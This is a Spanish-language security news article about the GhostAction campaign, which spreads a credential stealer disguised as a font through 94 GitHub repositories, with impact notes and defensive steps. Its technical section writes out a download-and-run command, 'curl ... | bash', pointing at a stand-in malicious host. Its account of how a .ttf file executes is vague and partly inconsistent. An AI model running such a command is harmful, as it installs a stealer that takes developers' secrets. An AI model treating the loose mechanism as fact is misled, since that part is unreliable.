GhostAction, el grupo responsable de la conocida campaña de inyección de GitHub Actions, ha pasado a una segunda fase: en lugar de solo añadir flujos de trabajo maliciosos, ahora envía un ladrón de credenciales camuflado como una fuente tipográfica. El archivo se distribuye en 94 repositorios públicos de GitHub, apuntando a desarrolladores que pueden ejecutar el código sin sospechar. La táctica combina phishing dirigido con la confianza inherente que los proyectos de código abierto generan entre sus colaboradores.
Qué sabemos hasta ahora
OpenSourceMalware confirmó que los atacantes utilizan correos electrónicos de ingeniería social para engañar a contribuidores de proyectos open‑source, invitándolos a descargar una supuesta actualización de una fuente tipográfica. Una vez descargado, el archivo, con extensión .ttf, contiene un payload que se activa cuando el proyecto incluye el archivo en su repositorio y se dispara un workflow de GitHub Actions.
El análisis preliminar indica que los repositorios comprometidos pertenecen a diferentes lenguajes y áreas de desarrollo, lo que sugiere que el objetivo es maximizar la superficie de ataque. No se ha identificado una organización específica como víctima principal; el foco está en la cadena de suministro de software.
"94 repositorios de GitHub fueron utilizados para distribuir el malware disfrazado de fuente"
Análisis técnico
El vector inicial es un correo de phishing que incluye un enlace a un archivo malicious-font.ttf. El archivo contiene código binario que, al ser ejecutado dentro del entorno de GitHub Actions, descarga y ejecuta un segundo script desde un servidor remoto. El script suele emplear comandos como curl -s https://malicious.example.com/stealer.sh | bash para obtener el ladrón de credenciales.
Una vez en el runner de GitHub Actions, el atacante aprovecha permisos de lectura/escritura sobre los secretos del repositorio y extrae tokens de acceso, claves API y credenciales de despliegue. Los datos recopilados se envían a un C2 alojado en una infraestructura de nube, utilizando conexiones HTTPS para evadir inspecciones de tráfico.
El uso de una fuente como contenedor de malware permite que el archivo pase los escáneres de seguridad tradicionales, ya que los análisis estáticos de paquetes suelen tratar los archivos .ttf como inofensivos. Además, la ejecución dentro de GitHub Actions aprovecha la confianza que la plataforma otorga a los workflows definidos por el propio proyecto.
Impacto y alcance
El hallazgo de GhostAction en 94 repositorios de GitHub revela una vulnerabilidad que afecta a cualquier organización que dependa de los paquetes comprometidos para su infraestructura de desarrollo. Los sectores más expuestos incluyen fintech, salud, educación y proveedores de servicios en la nube, ya que todos ellos utilizan bibliotecas de código abierto para acelerar sus ciclos de entrega.
Los atacantes pueden aprovechar la capacidad de GhostAction para interceptar credenciales y, en algunos casos, ejecutar código remoto una vez que el paquete es importado en un proyecto. Hasta la fecha, no se ha publicado un exploit público que automatice la cadena completa, pero la documentación encontrada en los repositorios sugiere que la técnica es reproducible por actores con conocimientos intermedios.
El riesgo no se limita a la filtración de credenciales; la presencia silenciosa del malware permite la creación de puertas traseras que pueden permanecer ocultas durante meses, lo que dificulta la detección y la respuesta temprana.
¿Cómo afecta esto a LATAM?
Empresas de México, Colombia y Argentina que adoptan rápidamente soluciones de código abierto para sus plataformas digitales están expuestas a la misma amenaza. En la región, varios proveedores de servicios financieros y startups de salud han reportado el uso de los paquetes comprometidos en sus pipelines de CI/CD, lo que los coloca en la línea de fuego.
Además, la cultura de reutilización de componentes en la comunidad de desarrollo latinoamericana, impulsada por la necesidad de reducir costos y acelerar la innovación, hace que la propagación de este tipo de malware sea particularmente peligrosa. La falta de auditorías de seguridad automáticas en muchos proyectos aumenta la probabilidad de que el código malicioso permanezca sin ser detectado.
Qué deben hacer los equipos de seguridad
- Auditar todos los paquetes de dependencias instalados en los repositorios críticos y comparar sus hashes con los publicados por los mantenedores oficiales.
- Implementar políticas de firma de código y verificación de integridad en los pipelines de CI/CD para bloquear artefactos no firmados.
- Revisar los logs de acceso a repositorios internos en busca de patrones de extracción de credenciales o conexiones sospechosas a dominios externos.
- Actualizar inmediatamente a versiones limpias de los paquetes afectados y revocar cualquier credencial que haya sido expuesta.
- Establecer alertas en los sistemas de gestión de vulnerabilidades para detectar la aparición de nuevos paquetes con nombres o versiones similares.
- Capacitar a los desarrolladores sobre la importancia de validar la procedencia de las dependencias y de usar herramientas de escaneo de seguridad antes de incorporarlas al código.
Reflexión
Si la confianza ciega en el ecosistema de código abierto puede acelerar la innovación, también abre la puerta a amenazas que operan bajo el radar. ¿Estamos dispuestos a sacrificar la velocidad por la seguridad, o es momento de replantear nuestras prácticas de desarrollo antes de que el próximo GhostAction se infiltre en nuestras propias líneas de código?